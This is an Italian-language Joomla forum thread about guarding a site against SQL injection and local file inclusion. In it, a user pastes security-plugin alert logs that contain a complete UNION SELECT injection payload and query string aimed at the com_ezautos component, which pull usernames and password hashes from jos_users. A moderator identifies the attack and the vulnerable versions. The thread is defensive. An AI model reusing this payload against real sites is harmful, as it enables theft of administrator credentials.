Protezione da SQL injection e LFI

[Estella]

Grazie per la risposta.
Ancora una domanda che spero non sia troppo stupida....
Se io mi costruisco un modulo che gestisce dati (che sono salvati in tabelle da me create), seguendo gli standard riportati nelle guide di joomla, nessuno sa dell'esistenza di questo modulo e quindi nessuno sa come è scritto il codice. Quindi dovrebbe essere difficile fare attacchi attraverso questi moduli.
I moduli invece pubblici, possono essere analizzati da tutti e quindi gli hacker possono scoprire le falle e sfruttarle.
E' giusto questo ragionamento?

[mau_develop]

si, in linea di massima direi di si, però diciamo che

---------------------
Se io mi costruisco un modulo che gestisce dati (che sono salvati in tabelle da me create), seguendo gli standard riportati nelle guide di joomla,
---------------------

non hai egualmente problemi di vulnerabilità, ogni extensions è quello che tu hai descritto di voler fare.
In linea di massima ti direi anche che se controlli sempre che tutto ciò che non è generato runtime es:

$pippo=0;
for($pippo=0; bla bla

non è necessario fare un casting, la variabile nasce e muore nel punto in cui viene eseguita.

ma tutto ciò che viene dall'esterno va controllato, ti aspetti una cosa e quella deve essere.... un numero un numero, di tot cifre, positivo o negativo, una stringa  -> solo caratteri, max tot, no formattazione o parole riservate etc.

adesso poi dico una cosa che non dovrei dire, ma in fondo è abbastanza vera; tranne castronate micidiali.... col plugin di mmleoni sei anche abbastanza protetta da errorini, poichè molti pattern di iniezione vengono comunque verificati a monte... certo che se mi spari un post o un get diretto nella query o in un include ... hai voglia a fare plugin

M.

[mmleoni]

non inserite tutto il codice di segnalazione: di che si tratta è scritto nella prima riga.
si tratta di un tentativo di richiamare la shell dei comandi per farle eseguire codice passato nella richiesta http.

@mau
tu hai idea di quanti (pseudo)sysadmin dovresti picchiare?

ciao,
marco

[Naomi]

In 24 ore ho ricevuto le email di avviso di 5 attacchi
4 sono LFI che non riporto come richiesto dal moderatore.
Il 5°, però, è diverso. Ovviamente per me è incomprensibile ma spero che possa essere utile a qualcuno che ne capisce...

Codice: [Seleziona]

** Union Select [GET:firstCode] => 1 and 0 union select 1,2,concat(0x26,0x24,0x24,0x25,username,0x21,password,0x25,0x24,0x24,0x26),4,5,6,7 from jos_users limit 20--
** Table name in url [GET:firstCode] => 1 and 0 -- 1,2,concat(0x26,0x24,0x24,0x25,username,0x21,password,0x25,0x24,0x24,0x26),4,5,6,7 from jos_users limit 20--
** Union Select [REQUEST:firstCode] => 1 and 0 union select 1,2,concat(0x26,0x24,0x24,0x25,username,0x21,password,0x25,0x24,0x24,0x26),4,5,6,7 from jos_users limit 20--
** Table name in url [REQUEST:firstCode] => 1 and 0 -- 1,2,concat(0x26,0x24,0x24,0x25,username,0x21,password,0x25,0x24,0x24,0x26),4,5,6,7 from jos_users limit 20--

[... deleted by mod ...]

*REQUEST_METHOD :
GET

*QUERY_STRING :
option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1+and+0+union+select+1,2,concat(0x26,0x24,0x24,0x25,username,0x21,password,0x25,0x24,0x24,0x26),4,5,6,7+from+jos_users+limit+20--

[... deleted by mod ...]



[mmleoni]

questo invece è un tentativo di recuperare la password degli utenti amministrativi tramite SQL injection. vi è però da dire che solo le versioni di joomla pre 1.5.16 sono vulnerabili a questo specifico attacco.

ciao,
marco

ps: bastano le prime righe!!!